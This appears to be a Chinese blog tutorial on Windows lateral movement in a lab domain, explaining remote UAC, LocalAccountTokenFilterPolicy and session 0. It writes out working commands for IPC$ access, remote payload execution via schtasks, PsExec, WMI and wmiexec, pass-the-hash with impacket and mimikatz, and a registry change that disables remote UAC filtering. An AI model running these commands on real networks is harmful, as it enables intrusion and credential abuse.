windows共享文件夹端口_探讨横向渗透背后的Windows安全机制

1.测试环境

god.org域环境:

系统身份IP地址
win2008域控192.168.124.21
win7普通域成员192.168.124.25
win2003普通域成员192.168.124.30

工作组环境

系统本地账户IP地址
win7mary
administrator
192.168.124.25

2.Windows横向渗透方法

(1)基于IPC的横向渗透

IPC$是共享”命名管道”的资源,它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。利用IPC$,连接者可以与目标主机建立一个连接,利用这个连接,连接者可以得到目标主机上的目录结构、用户列表等信息。

利用条件:

139和445端口开启

管理员开启了默认共享:默认共享是为了方便管理员远程管理而默认开启的共享,即所有的逻辑盘(C$,D$,E$...)和系统目录WINNT或WINDOWS(ADMIN$),我们通过IPC连接可以实现对这些默认共享的访问。

命令 :net share,演示三个不同的系统

win7

06d3ced3dd453a52b576aea259831ada.png

win8

26b217969562bc4ac7999b16685c5029.png

win2012

7263d62a68caeb6acb409eb4c1179ca8.png

建立远程连接时的用户权限问题

建立正常连接net use \\192.168.124.21\ipc$ "Admin12345" /user:"Administrator" 查看本机连接共享情况net use查看已建立连接目标主机的共享资源net view \\192.168.124.21文件的上传下载copy plugin_update.exe \\192.168.124.21\c$\windows\temp\plugin_update.exe创建计划任务之schtasksschtasks /create /tn "plugin_update" /tr c:\windows\temp\plugin_update.exe /sc once /st 16:32 /S 192.168.124.21 /RU System /u administrator /p "Admin12345"立即执行计划任务schtasks /run /tn "plugin_update" /S 192.168.124.21 /u administrator /p "Admin12345"删除本机与指定ip建立的连接net use \\192.168.124.21\ipc$ /del /y删除本机所有已建立的连接net use * /del /y

6bc7e548da521a14ec4628b28e6bc6a0.png

53880ff8b6ab04187c367e730af25840.png

4bbfe2f08752bdf2bda5609fb14e17ec.png

(2)使用PsExec进行横向渗透(交互)

下载微软官方工具PStools

https://download.sysinternals.com/files/PSTools.zip

PSEXEC执行原理

通过ipc$连接,然后释放psexesvc.exe到目标机器,通过服务管理SCManager远程创建psexecsvc服务,并启动服务,客户端连接执行命令,服务端启动相应的程序并执行回显数据。 

无IPC连接时,需要账户密码PsExec.exe \\192.168.124.30 -u 域\username -p password有IPC连接时,无需验证账户密码:PsExec.exe \\192.168.124.30 cmd.exe

612fb5aed4db6f2ea9bef660c7c35a92.png

win2003

05bdc22a6d688196fa47834a3bc44a76.png

win7

3caa0cd71fc9117f712d09e4b2ba070f.png

使用MSF的PSexec模块

use exploit/windows/smb/psexecset RHOST 192.168.124.25set smbuser usernmaeset smbpass passwordrun

PSexec横向渗透特点:动静大,会产生大量日志文件,容易溯源,会触发大多数杀毒软件的主机警报,但是可以直接获取system权限

use exploit/windows/smb/psexec_psh

区别在于,psexec_psh使用powershell编码指令模仿老的psexec工具操作,无文件,一定程度上规避了杀毒软件。

629cb6c7f459283f0a67cd7fd37360a3.png

(3)使用WMI来横向渗透

WMI 的全称是 Windows Management Instrumentation,它出现在所有的 Windows 操作系统中,由一组强大的工具集合组成,用于管理本地或远程的 Windows 系统。当攻击者使用wmiexec来进行攻击时,Windows系统默认不会在日志中记录这些操作,这意味着可以做到攻击无日志,同时攻击脚本无需写入到磁盘,具有极高的隐蔽性。越来越多的APT事件中也出现了WMI攻击的影子,利用WMI可以进行信息收集、探测、反病毒、虚拟机检测、命令执行、权限持久化等操作。

利用条件:

需要远程系统启动 Windows Management Instrumentation 服务,开放135端口

远程系统的本地安全策略为“网络访问: 本地账户的共享和安全模式”应设为“经典-本地用户以自己的身份验证”

wmic会以管理员权限在远程系统上执行命令

防火墙开启将无法连接

wmic /node:192.168.124.30 /user:administrator /password:Admin12345 process call create cmd.exe

window本地的测试工具wmic默认情况下是无法得到回显的

096f1f446e0f8919669c92291af4a1f9.png

win2003

e8a273a6a3e1af058f6496197fe8bd8f.png

那有没有可以回显的工具呢?wmiexec.vbs

WMI 可以远程执行命令,作者使用VBS脚本调用WMI来模拟 psexec 的功能。基本上psexec 能用的地方,这个脚本也能够使用。整个过程是先调用WMI通过账号密码或者NTLM认证(WCE注入)连接到远程计算机,然后如果提供了账号密码,则用这个账号密码建立一个到目标的IPC$连接。随后WMI会建立一个共享文件夹,用于远程读取命令执行结果。当用户输入命令时,WMI创建进程执行该命令,然后把结果输出到文件,这个文件位于之前创建的共享文件夹中。最后,通过FSO组件访问远程共享文件夹中的结果文件,将结果输出。当结果读取完成时,调用WMI执行命令删除结果文件。最后当WMIEXEC退出时,删除文件共享。

获取半交互式shellcscript.exe //nologo wmiexec.vbs /shell 192.168.124.25 username password 在远程系统上执行单条命令cscript.exe wmiexec.vbs /cmd 192.168.124.25 username password "cmdkey /list"

ee35c3046d0a83bfcb29e631c5f5cfff.png

shell模式里面加入了-waitTIME选项,TIME是要等待的时间。当执行的命令后面跟上-wait5000时,表示这个命令等待5s后再读取结果。

3817ff2693642e26168298fc087cfffa.png

impackets套件wmiexec(Linux、window多平台)

执行单条命令wmiexec.exe god.org/administrator:admin!@#45@192.168.124.25 whoami支持hash传递,非WCE注入wmiexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 god.org/administrator@192.168.124.25 whoami交互shellwmiexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 god.org/administrator@192.168.124.25

094b01815760692f8ed56522d241c962.png

577d37627a8017afdfbc9a8b820ef33b.png

188558913e1ba8df7a8383c85d752a31.png

8b35289a2ece3064856758030d3bcbd2.png

(4)mimikatz哈希传递攻击(WCE注入)

哈希注入mimikatz.exe privilege::debug "sekurlsa::pth /domain:. /user:administrator /ntlm:518b98ad4178a53695dc997aa02d455c" exitdir \\192.168.124.25\c$

afbdf0a06c72a2a5ab19ef2b57a03caf.png

c5f07c9e42c9e52f0732ec4d92dbbe8f.png

横向渗透背后的windows安全机制

(1)LocalAccountTokenFilterPolicy

192.168.124.25

46ac469f2e012cc65967b8e15512e906.png

wmiexec工具

bee6b03fbe1f419e52ca453133cb0746.png

Psexec工具

cb0dca6efb348e6469588982726b47fa.png

原因??

这是由于windows Vista之后引入了一种默认开启的remote UAC,计算机的任何非SID 500本地管理员帐户在远程计算机上没有特权提升能力,并且用户无法执行管理任务。

微软官方文档:

对于本地用户:

当使用远程计算机上本地管理员组成员的用户通过net use \\remotecomputer\ 命令建立IPC连接的时候不会以完全管理权限的管理员身份连接,用户无法在远程计算机上提升自己的权限,并且无法执行管理任务,如果用户希望使用安全账户管理器(SAM)中的用户管理服务器,则必须通过远程桌面连接来登录

同样官方文档在服务器管理器中配置远程管理中有如下描述:

即使已启用远程管理,内置管理员帐户之外的本地管理员帐户也可能不具有远程管理服务器的权限。必须将远程用户帐户控制(UAC) LocalAccountTokenFilterPolicy注册表设置配置为允许除内置管理员帐户之外的管理员组的本地帐户远程管理服务器。

SID:S-1-5-域-500

名称:Administrator

描述:系统管理员的用户账户。默认情况下,它是唯一能够完全控制系统的用户账户。

86486f469d7c6536f8391cf971aa08ca.png

所以我们可以使用如下命令,修改主机的注册表键值:LocalAccountTokenFilterPolicy 为1,即执行以下命令:

reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

716b9a3c468027a776bd92082e400fbb.png

总结:在工作组环境中,由于默认LocalAccountTokenFilterPolicy=0,极大地限制了横向渗透。但是由于一些windows自身或者其他程序的配置,将LocalAccountTokenFilterPolicy设置为1,又为pth等横向手法提供了更多可能。如主机对WinRM进行快速设置的时候,会将LocalAccountTokenFilterPolicy设置为1。

d5d43f42d47e5e1d58a33f7bfa253a6e.png

域环境中,remote UAC只是对本地用户进行限制,并没有对域用户进行限制,所以当获取到域管理员的密码或者hash时,我们可以使用上述横向渗透工具对主机进行远程管理。

(2)session 0

明明是最高权限,而且是SID500用户进行远程登录竟然失败了??

f9057be49202bf8884679ba8b234c646.png

session 0特性:

 在Windows XP、Windows Server 2003 或早期Windows 系统时代,当第一个用户登录系统后服务和应用程序是在同一个Session 中运行的。Session 0 如下图所示:

c1e8dc206efda4fd75683a254a79d02b.png

但是这种运行方式提高了系统安全风险,因为服务是通过提升了用户权限运行的,而应用程序往往是那些不具备管理员身份的普通用户运行的,其中的危险显而易见。

从Vista 开始Session 0 中只包含系统服务,其他应用程序则通过分离的Session 运行,将服务与应用程序隔离提高系统的安全性。如下图所示:

96b2d8ca292c5c1541b3ff771acd7368.png

这样使得Session 0 与其他Session 之间无法进行交互,不能通过服务向桌面用户弹出信息窗口、UI 窗口等信息。这也是system rdp黑屏的原因…

c4a598b38ca7530e53f343381a31c756.png

意思就是说system用户是无法使用psexec或者wmi等程序。

所以得进行降权操作!

4.参考

记一次横向渗透

https://www.lz1y.cn/2018/12/26/%E8%AE%B0%E4%B8%80%E6%AC%A1%E6%A8%AA%E5%90%91%E6%B8%97%E9%80%8F/

从hash传递攻击谈相关Windows安全机制

https://www.anquanke.com/post/id/85995

MSF 下域内渗透

https://www.cnblogs.com/anbuxuan/p/11849583.html

几种常见远程访问策略详解

https://www.4hou.com/posts/Pjgl

Windows域横向渗透

https://mp.weixin.qq.com/s/-bMrzamrRR9EaKe3kPanwA

内网横向移动之LocalAccountTokenFilterPolicy

https://xz.aliyun.com/t/6888

内网渗透|基于IPC的横向移动

https://www.se7ensec.cn/2020/07/12/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F-%E5%9F%BA%E4%BA%8EIPC%E7%9A%84%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8/

https://ares-x.com/2020/03/10/%E5%85%B3%E4%BA%8EIPC%E5%92%8CPTH%E7%94%A8%E6%88%B7%E6%9D%83%E9%99%90%E9%97%AE%E9%A2%98/

域渗透基础(二)

https://www.cnblogs.com/leixiao-/p/10586804.html

丢掉PSEXEC来横向渗透

https://www.cnblogs.com/ssooking/articles/6082407.html

利用WMI代替psexec——WMIEXEC.vbs

https://blog.csdn.net/qq_27446553/article/details/46008473

Impacket套件之远程命令执行功能讲解

https://mp.weixin.qq.com/s/kVTAe2BLya-lwOXzKdvHGA

【技术分享】深入分析PsExec执行行为

https://www.anquanke.com/post/id/84921

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值